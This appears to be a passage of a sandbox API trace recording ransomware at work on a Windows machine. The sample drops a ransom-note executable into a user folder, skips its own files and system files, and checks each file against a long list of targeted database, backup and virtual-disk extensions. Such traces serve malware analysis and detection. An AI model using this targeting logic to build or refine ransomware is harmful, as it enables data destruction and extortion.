	[0088.727] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.727] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0
	[0088.727] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0088.727] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7950
	[0088.728] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites"
	[0088.728] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0088.728] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0088.728] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned 58
	[0088.728] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites"
	[0088.728] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0088.728] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0088.729] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0088.729] GetLastError () returned 0x0
	[0088.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0088.729] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0088.729] CloseHandle (hObject=0x10c) returned 1
	[0088.729] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0088.729] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0088.729] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30434c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30434c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0088.729] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.729] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0088.729] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0088.729] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30434c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30434c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.730] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.730] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0088.730] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0088.730] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0088.730] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30434c50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30434c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0088.730] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0088.730] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1
	[0088.730] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.730] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="Apollon865.txt.exe") returned 1
	[0088.730] lstrcmpiW (lpString1="IE Add-on site.url", lpString2=".") returned 1
	[0088.730] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="..") returned 1
	[0088.730] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="windows") returned -1
	[0088.730] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="bootmgr") returned 1
	[0088.730] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="temp") returned -1
	[0088.730] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="pagefile.sys") returned -1
	[0088.730] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="boot") returned 1
	[0088.730] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="ids.txt") returned 1
	[0088.730] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="ntuser.dat") returned -1
	[0088.730] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="perflogs") returned -1
	[0088.730] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="MSBuild") returned -1
	[0088.730] lstrlenW (lpString="IE Add-on site.url") returned 18
	[0088.730] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*") returned 60
	[0088.730] lstrcpyW (in: lpString1=0x119e67e, lpString2="IE Add-on site.url" | out: lpString1="IE Add-on site.url") returned="IE Add-on site.url"
	[0088.730] lstrlenW (lpString="IE Add-on site.url") returned 18
	[0088.730] lstrlenW (lpString="Apollon865") returned 10
	[0088.730] lstrcmpiW (lpString1="n site.url", lpString2="Apollon865") returned 1
	[0088.730] lstrlenW (lpString=".dll") returned 4
	[0088.730] lstrcmpiW (lpString1="IE Add-on site.url", lpString2=".dll") returned 1
	[0088.730] lstrlenW (lpString=".lnk") returned 4
	[0088.730] lstrcmpiW (lpString1="IE Add-on site.url", lpString2=".lnk") returned 1
	[0088.730] lstrlenW (lpString=".ini") returned 4
	[0088.730] lstrcmpiW (lpString1="IE Add-on site.url", lpString2=".ini") returned 1
	[0088.730] lstrlenW (lpString=".sys") returned 4
	[0088.730] lstrcmpiW (lpString1="IE Add-on site.url", lpString2=".sys") returned 1
	[0088.730] lstrlenW (lpString="IE Add-on site.url") returned 18
	[0088.730] lstrlenW (lpString="bak") returned 3
	[0088.731] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0088.731] lstrlenW (lpString="ba_") returned 3
	[0088.731] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0088.731] lstrlenW (lpString="dbb") returned 3
	[0088.731] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0088.731] lstrlenW (lpString="vmdk") returned 4
	[0088.731] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0088.731] lstrlenW (lpString="rar") returned 3
	[0088.731] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0088.731] lstrlenW (lpString="zip") returned 3
	[0088.731] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0088.731] lstrlenW (lpString="tgz") returned 3
	[0088.731] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0088.731] lstrlenW (lpString="vbox") returned 4
	[0088.731] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0088.731] lstrlenW (lpString="vdi") returned 3
	[0088.731] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0088.731] lstrlenW (lpString="vhd") returned 3
	[0088.731] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0088.731] lstrlenW (lpString="vhdx") returned 4
	[0088.731] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0088.731] lstrlenW (lpString="avhd") returned 4
	[0088.731] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0088.731] lstrlenW (lpString="db") returned 2
	[0088.731] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0088.731] lstrlenW (lpString="db2") returned 3
	[0088.731] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0088.731] lstrlenW (lpString="db3") returned 3
	[0088.731] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0088.731] lstrlenW (lpString="dbf") returned 3
	[0088.731] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0088.731] lstrlenW (lpString="mdf") returned 3
	[0088.731] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0088.731] lstrlenW (lpString="mdb") returned 3
	[0088.731] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0088.731] lstrlenW (lpString="sql") returned 3
	[0088.731] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0088.731] lstrlenW (lpString="sqlite") returned 6
	[0088.732] lstrcmpiW (lpString1="te.url", lpString2="sqlite") returned 1
	[0088.732] lstrlenW (lpString="sqlite3") returned 7
	[0088.732] lstrcmpiW (lpString1="ite.url", lpString2="sqlite3") returned -1
	[0088.732] lstrlenW (lpString="sqlitedb") returned 8
	[0088.732] lstrcmpiW (lpString1="site.url", lpString2="sqlitedb") returned -1
	[0088.732] lstrlenW (lpString="xml") returned 3
	[0088.732] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0088.732] lstrlenW (lpString="$er") returned 3
	[0088.732] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0088.732] lstrlenW (lpString="4dd") returned 3
	[0088.732] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0088.732] lstrlenW (lpString="4dl") returned 3
	[0088.732] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0088.732] lstrlenW (lpString="^^^") returned 3
	[0088.732] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0088.732] lstrlenW (lpString="abs") returned 3
	[0088.732] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0088.732] lstrlenW (lpString="abx") returned 3
	[0088.732] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0088.732] lstrlenW (lpString="accdb") returned 5
	[0088.732] lstrcmpiW (lpString1="e.url", lpString2="accdb") returned 1
	[0088.732] lstrlenW (lpString="accdc") returned 5
	[0088.732] lstrcmpiW (lpString1="e.url", lpString2="accdc") returned 1
	[0088.732] lstrlenW (lpString="accde") returned 5
	[0088.732] lstrcmpiW (lpString1="e.url", lpString2="accde") returned 1
	[0088.732] lstrlenW (lpString="accdr") returned 5
	[0088.732] lstrcmpiW (lpString1="e.url", lpString2="accdr") returned 1
	[0088.732] lstrlenW (lpString="accdt") returned 5
	[0088.732] lstrcmpiW (lpString1="e.url", lpString2="accdt") returned 1
	[0088.732] lstrlenW (lpString="accdw") returned 5
	[0088.732] lstrcmpiW (lpString1="e.url", lpString2="accdw") returned 1
	[0088.732] lstrlenW (lpString="accft") returned 5
	[0088.732] lstrcmpiW (lpString1="e.url", lpString2="accft") returned 1
	[0088.732] lstrlenW (lpString="adb") returned 3
	[0088.732] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0088.732] lstrlenW (lpString="adb") returned 3
	[0088.732] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0088.732] lstrlenW (lpString="ade") returned 3
	[0088.732] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0088.733] lstrlenW (lpString="adf") returned 3
	[0088.733] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0088.733] lstrlenW (lpString="adn") returned 3
	[0088.733] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0088.733] lstrlenW (lpString="adp") returned 3
	[0088.733] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0088.733] lstrlenW (lpString="alf") returned 3
	[0088.733] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0088.733] lstrlenW (lpString="ask") returned 3
	[0088.733] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0088.733] lstrlenW (lpString="btr") returned 3
	[0088.733] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0088.733] lstrlenW (lpString="cat") returned 3
	[0088.733] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0088.733] lstrlenW (lpString="cdb") returned 3
	[0088.733] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0088.733] lstrlenW (lpString="ckp") returned 3
	[0088.733] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0088.733] lstrlenW (lpString="cma") returned 3
	[0088.733] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0088.733] lstrlenW (lpString="cpd") returned 3
	[0088.733] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0088.733] lstrlenW (lpString="dacpac") returned 6
	[0088.733] lstrcmpiW (lpString1="te.url", lpString2="dacpac") returned 1
	[0088.733] lstrlenW (lpString="dad") returned 3
	[0088.733] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0088.733] lstrlenW (lpString="dadiagrams") returned 10
	[0088.733] lstrcmpiW (lpString1="n site.url", lpString2="dadiagrams") returned 1
	[0088.733] lstrlenW (lpString="daschema") returned 8
	[0088.733] lstrcmpiW (lpString1="site.url", lpString2="daschema") returned 1
	[0088.733] lstrlenW (lpString="db-journal") returned 10
	[0088.734] lstrcmpiW (lpString1="n site.url", lpString2="db-journal") returned 1
	[0088.734] lstrlenW (lpString="db-shm") returned 6
	[0088.734] lstrcmpiW (lpString1="te.url", lpString2="db-shm") returned 1
	[0088.734] lstrlenW (lpString="db-wal") returned 6
	[0088.734] lstrcmpiW (lpString1="te.url", lpString2="db-wal") returned 1
	[0088.734] lstrlenW (lpString="dbc") returned 3
	[0088.734] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0088.734] lstrlenW (lpString="dbs") returned 3
	[0088.734] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0088.734] lstrlenW (lpString="dbt") returned 3
	[0088.734] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0088.734] lstrlenW (lpString="dbv") returned 3
	[0088.734] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0088.734] lstrlenW (lpString="dbx") returned 3
	[0088.734] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0088.734] lstrlenW (lpString="dcb") returned 3
	[0088.734] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0088.734] lstrlenW (lpString="dct") returned 3
	[0088.734] lstrcmpiW (lpString1="url", lpString2="dct") returned 1
	[0088.734] lstrlenW (lpString="dcx") returned 3
	[0088.734] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1
	[0088.734] lstrlenW (lpString="ddl") returned 3
	[0088.734] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1
	[0088.734] lstrlenW (lpString="dlis") returned 4
	[0088.734] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1
	[0088.734] lstrlenW (lpString="dp1") returned 3
	[0088.734] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1
	[0088.734] lstrlenW (lpString="dqy") returned 3
	[0088.734] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1
	[0088.734] lstrlenW (lpString="dsk") returned 3
	[0088.734] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1
	[0088.734] lstrlenW (lpString="dsn") returned 3
	[0088.734] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1
	[0088.734] lstrlenW (lpString="dtsx") returned 4
	[0088.734] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1
	[0088.734] lstrlenW (lpString="dxl") returned 3
	[0088.734] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1
	[0088.734] lstrlenW (lpString="eco") returned 3
	[0088.735] lstrcmpiW (lpString1="url", lpString2="eco") returned 1
	[0088.735] lstrlenW (lpString="ecx") returned 3
	[0088.735] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1
	[0088.735] lstrlenW (lpString="edb") returned 3
	[0088.735] lstrcmpiW (lpString1="url", lpString2="edb") returned 1
	[0088.735] lstrlenW (lpString="epim") returned 4
	[0088.735] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1
	[0088.735] lstrlenW (lpString="fcd") returned 3
	[0088.735] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1
	[0088.735] lstrlenW (lpString="fdb") returned 3
	[0088.735] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1
	[0088.735] lstrlenW (lpString="fic") returned 3
	[0088.735] lstrcmpiW (lpString1="url", lpString2="fic") returned 1
	[0088.735] lstrlenW (lpString="flexolibrary") returned 12
	[0088.735] lstrcmpiW (lpString1="-on site.url", lpString2="flexolibrary") returned 1
	[0088.735] lstrlenW (lpString="fm5") returned 3
	[0088.735] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1
	[0088.735] lstrlenW (lpString="fmp") returned 3
	[0088.735] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1
	[0088.735] lstrlenW (lpString="fmp12") returned 5
	[0088.735] lstrcmpiW (lpString1="e.url", lpString2="fmp12") returned -1
	[0088.735] lstrlenW (lpString="fmpsl") returned 5
	[0088.735] lstrcmpiW (lpString1="e.url", lpString2="fmpsl") returned -1
	[0088.735] lstrlenW (lpString="fol") returned 3
	[0088.735] lstrcmpiW (lpString1="url", lpString2="fol") returned 1
	[0088.735] lstrlenW (lpString="fp3") returned 3
	[0088.735] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1
	[0088.735] lstrlenW (lpString="fp4") returned 3
	[0088.735] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1
	[0088.735] lstrlenW (lpString="fp5") returned 3
	[0088.735] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1
	[0088.735] lstrlenW (lpString="fp7") returned 3
	[0088.735] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1
	[0088.735] lstrlenW (lpString="fpt") returned 3
	[0088.735] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1
	[0088.735] lstrlenW (lpString="frm") returned 3
	[0088.735] lstrcmpiW (lpString1="url", lpString2="frm") returned 1
	[0088.735] lstrlenW (lpString="gdb") returned 3
	[0088.735] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0088.736] lstrlenW (lpString="gdb") returned 3
	[0088.736] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0088.736] lstrlenW (lpString="grdb") returned 4
	[0088.736] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1
	[0088.736] lstrlenW (lpString="gwi") returned 3
	[0088.736] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1
	[0088.736] lstrlenW (lpString="hdb") returned 3
	[0088.736] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1
	[0088.736] lstrlenW (lpString="his") returned 3
	[0088.736] lstrcmpiW (lpString1="url", lpString2="his") returned 1
	[0088.736] lstrlenW (lpString="ib") returned 2
	[0088.736] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1
	[0088.736] lstrlenW (lpString="idb") returned 3
	[0088.736] lstrcmpiW (lpString1="url", lpString2="idb") returned 1
	[0088.736] lstrlenW (lpString="ihx") returned 3
	[0088.736] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1
	[0088.736] lstrlenW (lpString="itdb") returned 4
	[0088.736] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1
	[0088.736] lstrlenW (lpString="itw") returned 3
	[0088.736] lstrcmpiW (lpString1="url", lpString2="itw") returned 1
	[0088.736] lstrlenW (lpString="jet") returned 3
	[0088.736] lstrcmpiW (lpString1="url", lpString2="jet") returned 1
	[0088.736] lstrlenW (lpString="jtx") returned 3
	[0088.736] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1
	[0088.736] lstrlenW (lpString="kdb") returned 3
	[0088.736] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1
	[0088.736] lstrlenW (lpString="kexi") returned 4
	[0088.736] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1
	[0088.736] lstrlenW (lpString="kexic") returned 5
	[0088.736] lstrcmpiW (lpString1="e.url", lpString2="kexic") returned -1
	[0088.736] lstrlenW (lpString="kexis") returned 5
	[0088.736] lstrcmpiW (lpString1="e.url", lpString2="kexis") returned -1
	[0088.736] lstrlenW (lpString="lgc") returned 3
	[0088.736] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1
	[0088.736] lstrlenW (lpString="lwx") returned 3
	[0088.736] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1
	[0088.736] lstrlenW (lpString="maf") returned 3
	[0088.736] lstrcmpiW (lpString1="url", lpString2="maf") returned 1
	[0088.737] lstrlenW (lpString="maq") returned 3
	[0088.737] lstrcmpiW (lpString1="url", lpString2="maq") returned 1
	[0088.737] lstrlenW (lpString="mar") returned 3
	[0088.737] lstrcmpiW (lpString1="url", lpString2="mar") returned 1
	[0088.737] lstrlenW (lpString="marshal") returned 7
	[0088.737] lstrcmpiW (lpString1="ite.url", lpString2="marshal") returned -1
	[0088.737] lstrlenW (lpString="mas") returned 3
	[0088.737] lstrcmpiW (lpString1="url", lpString2="mas") returned 1
	[0088.737] lstrlenW (lpString="mav") returned 3
	[0088.737] lstrcmpiW (lpString1="url", lpString2="mav") returned 1
	[0088.737] lstrlenW (lpString="maw") returned 3
	[0088.737] lstrcmpiW (lpString1="url", lpString2="maw") returned 1
	[0088.737] lstrlenW (lpString="mdbhtml") returned 7
	[0088.737] lstrcmpiW (lpString1="ite.url", lpString2="mdbhtml") returned -1
	[0088.737] lstrlenW (lpString="mdn") returned 3
	[0088.737] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1
	[0088.737] lstrlenW (lpString="mdt") returned 3
	[0088.737] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1
	[0088.737] lstrlenW (lpString="mfd") returned 3
	[0088.737] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1
	[0088.737] lstrlenW (lpString="mpd") returned 3
	[0088.737] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1
	[0088.737] lstrlenW (lpString="mrg") returned 3
	[0088.737] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1
	[0088.737] lstrlenW (lpString="mud") returned 3
	[0088.737] lstrcmpiW (lpString1="url", lpString2="mud") returned 1
	[0088.737] lstrlenW (lpString="mwb") returned 3
	[0088.737] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1
	[0088.737] lstrlenW (lpString="myd") returned 3
	[0088.737] lstrcmpiW (lpString1="url", lpString2="myd") returned 1
	[0088.737] lstrlenW (lpString="ndf") returned 3
	[0088.737] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1
	[0088.737] lstrlenW (lpString="nnt") returned 3
	[0088.737] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1
	[0088.737] lstrlenW (lpString="nrmlib") returned 6
	[0088.737] lstrcmpiW (lpString1="te.url", lpString2="nrmlib") returned 1
	[0088.738] lstrlenW (lpString="ns2") returned 3
	[0088.738] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1
	[0088.738] lstrlenW (lpString="ns3") returned 3
	[0088.738] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1
	[0088.738] lstrlenW (lpString="ns4") returned 3
	[0088.738] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1
	[0088.738] lstrlenW (lpString="nsf") returned 3
	[0088.738] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1
	[0088.738] lstrlenW (lpString="nv") returned 2
	[0088.738] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1
	[0088.738] lstrlenW (lpString="nv2") returned 3
	[0088.738] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1
	[0088.738] lstrlenW (lpString="nwdb") returned 4
	[0088.738] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1
	[0088.738] lstrlenW (lpString="nyf") returned 3
	[0088.738] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1
	[0088.738] lstrlenW (lpString="odb") returned 3
	[0088.738] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0088.738] lstrlenW (lpString="odb") returned 3
	[0088.738] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0088.738] lstrlenW (lpString="oqy") returned 3
	[0088.738] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1
	[0088.738] lstrlenW (lpString="ora") returned 3
	[0088.738] lstrcmpiW (lpString1="url", lpString2="ora") returned 1
	[0088.738] lstrlenW (lpString="orx") returned 3
	[0088.738] lstrcmpiW (lpString1="url", lpString2="orx") returned 1
	[0088.738] lstrlenW (lpString="owc") returned 3
	[0088.738] lstrcmpiW (lpString1="url", lpString2="owc") returned 1
	[0088.738] lstrlenW (lpString="p96") returned 3
	[0088.738] lstrcmpiW (lpString1="url", lpString2="p96") returned 1
	[0088.738] lstrlenW (lpString="p97") returned 3
	[0088.738] lstrcmpiW (lpString1="url", lpString2="p97") returned 1
	[0088.738] lstrlenW (lpString="pan") returned 3
	[0088.738] lstrcmpiW (lpString1="url", lpString2="pan") returned 1
	[0088.738] lstrlenW (lpString="pdb") returned 3
	[0088.738] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1
	[0088.738] lstrlenW (lpString="pdm") returned 3
	[0088.738] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1
	[0088.738] lstrlenW (lpString="pnz") returned 3
	[0088.739] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1
	[0088.739] lstrlenW (lpString="qry") returned 3
	[0088.739] lstrcmpiW (lpString1="url", lpString2="qry") returned 1
	[0088.739] lstrlenW (lpString="qvd") returned 3
	[0088.739] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1
	[0088.739] lstrlenW (lpString="rbf") returned 3
	[0088.739] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1
	[0088.739] lstrlenW (lpString="rctd") returned 4
	[0088.739] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1
	[0088.739] lstrlenW (lpString="rod") returned 3
	[0088.739] lstrcmpiW (lpString1="url", lpString2="rod") returned 1
	[0088.739] lstrlenW (lpString="rodx") returned 4
	[0088.739] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1
	[0088.739] lstrlenW (lpString="rpd") returned 3
	[0088.739] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1
	[0088.739] lstrlenW (lpString="rsd") returned 3
	[0088.739] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1
